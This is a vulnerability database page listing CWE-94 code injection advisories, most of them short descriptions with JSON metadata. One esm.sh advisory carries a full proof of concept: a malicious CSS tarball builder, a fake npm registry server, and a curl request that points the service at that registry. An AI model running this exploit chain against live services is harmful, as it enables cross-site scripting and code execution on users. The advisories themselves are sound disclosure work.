Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8272 vulnerabilities reference this CWE, most recent first.

GHSA-H9RV-G9XH-2PQ2

Vulnerability from github – Published: 2022-05-14 01:01 – Updated: 2022-05-14 01:01
VLAI
Details

Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted Journal file, aka "Windows Journal Remote Code Execution Vulnerability," a different vulnerability than CVE-2015-1675, CVE-2015-1695, CVE-2015-1697, CVE-2015-1698, and CVE-2015-1699.

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{
  "affected": [],
  "aliases": [
    "CVE-2015-1696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-05-13T10:59:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted Journal file, aka \"Windows Journal Remote Code Execution Vulnerability,\" a different vulnerability than CVE-2015-1675, CVE-2015-1695, CVE-2015-1697, CVE-2015-1698, and CVE-2015-1699.",
  "id": "GHSA-h9rv-g9xh-2pq2",
  "modified": "2022-05-14T01:01:35Z",
  "published": "2022-05-14T01:01:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1696"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-045"
    },
    {
      "type": "WEB",
      "url": "https://www.verisign.com/en_US/security-services/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1095"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1032280"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H9XH-G5PC-79X3

Vulnerability from github – Published: 2025-12-13 18:30 – Updated: 2025-12-13 18:30
VLAI
Details

The The Shortcode Ajax plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-14539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-13T16:16:51Z",
    "severity": "MODERATE"
  },
  "details": "The The Shortcode Ajax plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.",
  "id": "GHSA-h9xh-g5pc-79x3",
  "modified": "2025-12-13T18:30:21Z",
  "published": "2025-12-13T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14539"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/shortcode-ajax/trunk/shortcode-ajax.php#L29"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8e2a994f-7a42-4ccb-8fa0-77107ba1150c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HC2F-F465-FW5X

Vulnerability from github – Published: 2022-05-01 18:00 – Updated: 2022-05-01 18:00
VLAI
Details

PHP remote file inclusion vulnerability in blocks/tsdisplay4xoops_block2.php in tsdisplay4xoops (TSD4XOOPS, aka the TeamSpeak display module) 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the xoops_url parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2007-2091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-04-18T10:19:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in blocks/tsdisplay4xoops_block2.php in tsdisplay4xoops (TSD4XOOPS, aka the TeamSpeak display module) 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the xoops_url parameter.",
  "id": "GHSA-hc2f-f465-fw5x",
  "modified": "2022-05-01T18:00:04Z",
  "published": "2022-05-01T18:00:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2091"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/33695"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/3750"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/37413"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/23518"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/1424"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HC53-8X9J-FG2X

Vulnerability from github – Published: 2022-05-14 02:36 – Updated: 2025-04-11 03:43
VLAI
Details

The LZW stream decompression functionality in ORMELEMS.DLL in Microsoft Visio 2002 SP2, 2003 SP3, and 2007 SP2 allows remote attackers to execute arbitrary code via a Visio file with a malformed VisioDocument stream that triggers an exception handler that accesses an object that has not been fully initialized, which triggers memory corruption, aka "Visio Object Memory Corruption Vulnerability."

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{
  "affected": [],
  "aliases": [
    "CVE-2011-0092"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-02-10T16:00:00Z",
    "severity": "HIGH"
  },
  "details": "The LZW stream decompression functionality in ORMELEMS.DLL in Microsoft Visio 2002 SP2, 2003 SP3, and 2007 SP2 allows remote attackers to execute arbitrary code via a Visio file with a malformed VisioDocument stream that triggers an exception handler that accesses an object that has not been fully initialized, which triggers memory corruption, aka \"Visio Object Memory Corruption Vulnerability.\"",
  "id": "GHSA-hc53-8x9j-fg2x",
  "modified": "2025-04-11T03:43:52Z",
  "published": "2022-05-14T02:36:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0092"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-008"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/64923"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A12403"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/70828"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/43254"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/516274/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/46137"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1025043"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0321"
    },
    {
      "type": "WEB",
      "url": "http://www.zerodayinitiative.com/advisories/ZDI-11-063"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HC63-FV38-P9MV

Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2022-05-24 17:18
VLAI
Details

Studio in Open edX Ironwood 2.5, when CodeJail is not used, allows a user to go to the "Create New course>New section>New subsection>New unit>Add new component>Problem button>Advanced tab>Custom Python evaluated code" screen, edit the problem, and execute Python code. This leads to arbitrary code execution.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2020-13144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-05-18T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Studio in Open edX Ironwood 2.5, when CodeJail is not used, allows a user to go to the \"Create New course\u003eNew section\u003eNew subsection\u003eNew unit\u003eAdd new component\u003eProblem button\u003eAdvanced tab\u003eCustom Python evaluated code\" screen, edit the problem, and execute Python code. This leads to arbitrary code execution.",
  "id": "GHSA-hc63-fv38-p9mv",
  "modified": "2022-05-24T17:18:05Z",
  "published": "2022-05-24T17:18:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13144"
    },
    {
      "type": "WEB",
      "url": "https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/architecture.html"
    },
    {
      "type": "WEB",
      "url": "https://stark0de.com/2020/05/17/openedx-vulnerabilities.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/157785/OpenEDX-Ironwood-2.5-Remote-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HC8G-CHPW-24WX

Vulnerability from github – Published: 2022-05-17 01:54 – Updated: 2022-05-17 01:54
VLAI
Details

foomaticrip.c in foomatic-rip in foomatic-filters in Foomatic 4.0.6 allows remote attackers to execute arbitrary code via a crafted *FoomaticRIPCommandLine field in a .ppd file, a different vulnerability than CVE-2011-2697.

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{
  "affected": [],
  "aliases": [
    "CVE-2011-2964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-07-29T20:55:00Z",
    "severity": "MODERATE"
  },
  "details": "foomaticrip.c in foomatic-rip in foomatic-filters in Foomatic 4.0.6 allows remote attackers to execute arbitrary code via a crafted *FoomaticRIPCommandLine field in a .ppd file, a different vulnerability than CVE-2011-2697.",
  "id": "GHSA-hc8g-chpw-24wx",
  "modified": "2022-05-17T01:54:08Z",
  "published": "2022-05-17T01:54:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2964"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.novell.com/show_bug.cgi?id=698451"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=721001"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/68994"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/45477"
    },
    {
      "type": "WEB",
      "url": "http://security.gentoo.org/glsa/glsa-201203-07.xml"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2011:125"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/07/13/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/07/18/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/07/28/1"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-1110.html"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1194-1"
    },
    {
      "type": "WEB",
      "url": "http://www.xerox.com/download/security/security-bulletin/16287-4d6b7b0c81f7b/cert_XRX13-003_v1.0.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HC98-XXM8-JFGJ

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 21:30
VLAI
Details

An SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-66435"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-918",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T17:15:53Z",
    "severity": "MODERATE"
  },
  "details": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.",
  "id": "GHSA-hc98-xxm8-jfgj",
  "modified": "2025-12-16T21:30:52Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66435"
    },
    {
      "type": "WEB",
      "url": "https://iamanc.github.io/post/erpnext-ssti-bug-2"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SSTI-bug-2-239e6086eadc80878e8fcc7b6c26a584?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HCCP-VGR8-PG68

Vulnerability from github – Published: 2022-05-01 07:43 – Updated: 2022-05-01 07:43
VLAI
Details

PHP remote file inclusion vulnerability in manager/tools/link/dbinstall.php in Plume CMS 1.1.3 allows remote attackers to execute arbitrary PHP code via a URL in the _PX_config[manager_path] parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2006-7021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-02-15T02:28:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in manager/tools/link/dbinstall.php in Plume CMS 1.1.3 allows remote attackers to execute arbitrary PHP code via a URL in the _PX_config[manager_path] parameter.",
  "id": "GHSA-hccp-vgr8-pg68",
  "modified": "2022-05-01T07:43:58Z",
  "published": "2022-05-01T07:43:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-7021"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27535"
    },
    {
      "type": "WEB",
      "url": "http://www.hamid.ir/security/plume.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.securiteam.com/unixfocus/5KP031FJ5A.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/18750"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1016415"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HCJ8-R3VF-4JR7

Vulnerability from github – Published: 2022-05-14 02:30 – Updated: 2025-10-22 03:30
VLAI
Details

Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted OLE object, as exploited in the wild in October 2014 with a crafted PowerPoint document.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2014-6352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-10-22T14:55:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted OLE object, as exploited in the wild in October 2014 with a crafted PowerPoint document.",
  "id": "GHSA-hcj8-r3vf-4jr7",
  "modified": "2025-10-22T03:30:41Z",
  "published": "2022-05-14T02:30:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-6352"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-064"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/97714"
    },
    {
      "type": "WEB",
      "url": "https://technet.microsoft.com/library/security/3010060"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2014-6352"
    },
    {
      "type": "WEB",
      "url": "http://blogs.technet.com/b/srd/archive/2014/11/11/assessing-risk-for-the-november-2014-security-updates.aspx"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/61803"
    },
    {
      "type": "WEB",
      "url": "http://twitter.com/ohjeongwook/statuses/524795124270653440"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/70690"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1031097"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HCPF-QV9M-VFGP

Vulnerability from github – Published: 2025-11-19 20:31 – Updated: 2025-11-27 08:30
VLAI
Summary
esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript
Details

Summary

The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.

When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.

An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.

Root Cause: The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.

Details

File: server/router.go
Lines: 1112-1119

// Convert CSS to JavaScript module when ?module query is present
if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") {
    filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath)
    css, err := os.ReadFile(filename)
    if err != nil {
        return rex.Status(500, err.Error())
    }

    buf := bytes.NewBufferString("/* esm.sh - css module */\n")
    buf.WriteString("const stylesheet = new CSSStyleSheet();\n")

    if bytes.ContainsRune(css, '`') {
        // If backtick exists: JSON encode (SAFE)
        buf.WriteString("stylesheet.replaceSync(`")
        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
        buf.WriteString(");\n")
    } else {
        // If no backtick: Direct insertion (VULNERABLE!)
        buf.WriteString("stylesheet.replaceSync(`")
        buf.Write(css)  // ← CSS inserted into template literal without sanitization!
        buf.WriteString("`);\n")
    }

    buf.WriteString("export default stylesheet;\n")
    ctx.SetHeader("Content-Type", ctJavaScript)
    return buf
}

When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions. Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.

PoC

Step 1. Create Malicious Package (tar)

import tarfile
import io
import json
from datetime import datetime

# Malicious CSS with template literal injection
evil_css = b"""
body {
  background-color: #ffffff;
  color: #333333;
}

.container {
  max-width: 1200px;
  margin: 0 auto;
}

/* js payload */
${alert(1)} 

/* More CSS to appear legitimate */
.footer {
  margin-top: 20px;
  padding: 10px;
}
"""

files = {
    "package/index.js": b"module.exports = { version: '1.0.0' };",
    "package/package.json": json.dumps({
        "name": "test-css-injection",
        "version": "1.0.0",
        "description": "Test package for CSS injection",
        "main": "index.js"
    }, indent=2).encode(),

    # Malicious CSS file
    "package/poc.css": evil_css,
}

with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar:
    for name, content in files.items():
        info = tarfile.TarInfo(name=name)
        info.size = len(content)
        info.mode = 0o644
        info.mtime = int(datetime.now().timestamp())
        tar.addfile(info, io.BytesIO(content))

print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")

Step 2. Run Fake Registry Server

# fake-npm-registry.py
from flask import Flask, jsonify, send_file

app = Flask(__name__)

MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>')
def get_metadata(package):
    return jsonify({
        "name": package,
        "versions": {
            "1.0.0": {
                "name": package,
                "version": "1.0.0",
                "dist": {
                    "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
                }
            }
        },
        "dist-tags": {"latest": "1.0.0"}
    })

@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9999)

python3 fake-npm-registry.py

Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)

Step 3. Request Malicious Package with X-Npmrc Header (File Upload)

curl "http://localhost:8080/test-tarslip@1.0.0" \
  -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Cross-site Script (alert(1))

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CSS Injection Victim Page</title>
</head>
<body>
    <script type="module">
        // esm.sh import
        import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module";

        console.log('Styles loaded:', styles);
    </script>
</body>
</html>

image

in esm.sh Playground

image

Impact

Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20251118065157-87d2f6497574"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-19T20:31:55Z",
    "nvd_published_at": "2025-11-19T18:15:50Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. \n\nWhen a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. \n\nAn attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.\n\n**Root Cause:** \nThe CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.\n\n### Details\n**File:** `server/router.go`  \n**Lines:** 1112-1119\n\n```go\n// Convert CSS to JavaScript module when ?module query is present\nif pathKind == RawFile \u0026\u0026 strings.HasSuffix(esm.SubPath, \".css\") \u0026\u0026 query.Has(\"module\") {\n    filename := path.Join(npmrc.StoreDir(), esm.Name(), \"node_modules\", esm.PkgName, esm.SubPath)\n    css, err := os.ReadFile(filename)\n    if err != nil {\n        return rex.Status(500, err.Error())\n    }\n    \n    buf := bytes.NewBufferString(\"/* esm.sh - css module */\\n\")\n    buf.WriteString(\"const stylesheet = new CSSStyleSheet();\\n\")\n    \n    if bytes.ContainsRune(css, \u0027`\u0027) {\n        // If backtick exists: JSON encode (SAFE)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))\n        buf.WriteString(\");\\n\")\n    } else {\n        // If no backtick: Direct insertion (VULNERABLE!)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.Write(css)  // \u2190 CSS inserted into template literal without sanitization!\n        buf.WriteString(\"`);\\n\")\n    }\n    \n    buf.WriteString(\"export default stylesheet;\\n\")\n    ctx.SetHeader(\"Content-Type\", ctJavaScript)\n    return buf\n}\n```\nWhen CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. \nTemplate literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code.\n\n### PoC\n\n### Step 1. Create Malicious Package (tar)\n```python\nimport tarfile\nimport io\nimport json\nfrom datetime import datetime\n\n# Malicious CSS with template literal injection\nevil_css = b\"\"\"\nbody {\n  background-color: #ffffff;\n  color: #333333;\n}\n\n.container {\n  max-width: 1200px;\n  margin: 0 auto;\n}\n\n/* js payload */\n${alert(1)} \n\n/* More CSS to appear legitimate */\n.footer {\n  margin-top: 20px;\n  padding: 10px;\n}\n\"\"\"\n\nfiles = {\n    \"package/index.js\": b\"module.exports = { version: \u00271.0.0\u0027 };\",\n    \"package/package.json\": json.dumps({\n        \"name\": \"test-css-injection\",\n        \"version\": \"1.0.0\",\n        \"description\": \"Test package for CSS injection\",\n        \"main\": \"index.js\"\n    }, indent=2).encode(),\n    \n    # Malicious CSS file\n    \"package/poc.css\": evil_css,\n}\n\nwith tarfile.open(\"test-css-injection-1.0.0.tgz\", \"w:gz\") as tar:\n    for name, content in files.items():\n        info = tarfile.TarInfo(name=name)\n        info.size = len(content)\n        info.mode = 0o644\n        info.mtime = int(datetime.now().timestamp())\n        tar.addfile(info, io.BytesIO(content))\n\nprint(\"Malicious CSS tarball created - test-css-injection-1.0.0.tgz\")\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-css-injection-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route(\u0027/\u003cpackage\u003e\u0027)\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route(\u0027/\u003cpackage\u003e/-/\u003cfilename\u003e\u0027)\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype=\u0027application/gzip\u0027)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\u003e Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)\n\n\n### Step 3. Request Malicious Package with X-Npmrc Header (File Upload)\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H \u0027X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}\u0027\n```\n\n### Step 4. Check Cross-site Script (alert(1))\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eCSS Injection Victim Page\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003cscript type=\"module\"\u003e\n        // esm.sh import\n        import styles from \"http://localhost:8080/test-css-injection@1.0.0/poc.css?module\";\n        \n        console.log(\u0027Styles loaded:\u0027, styles);\n    \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\u003cimg width=\"1414\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb\" /\u003e\n\n### in esm.sh Playground\n\u003cimg width=\"1568\" height=\"502\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897\" /\u003e\n\n\n\n### Impact\nCan execute arbitrary JavaScript.\nThis can sometimes lead to remote code execution.\n(Electron App, Deno App, ...)",
  "id": "GHSA-hcpf-qv9m-vfgp",
  "modified": "2025-11-27T08:30:39Z",
  "published": "2025-11-19T20:31:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65026"
    },
    {
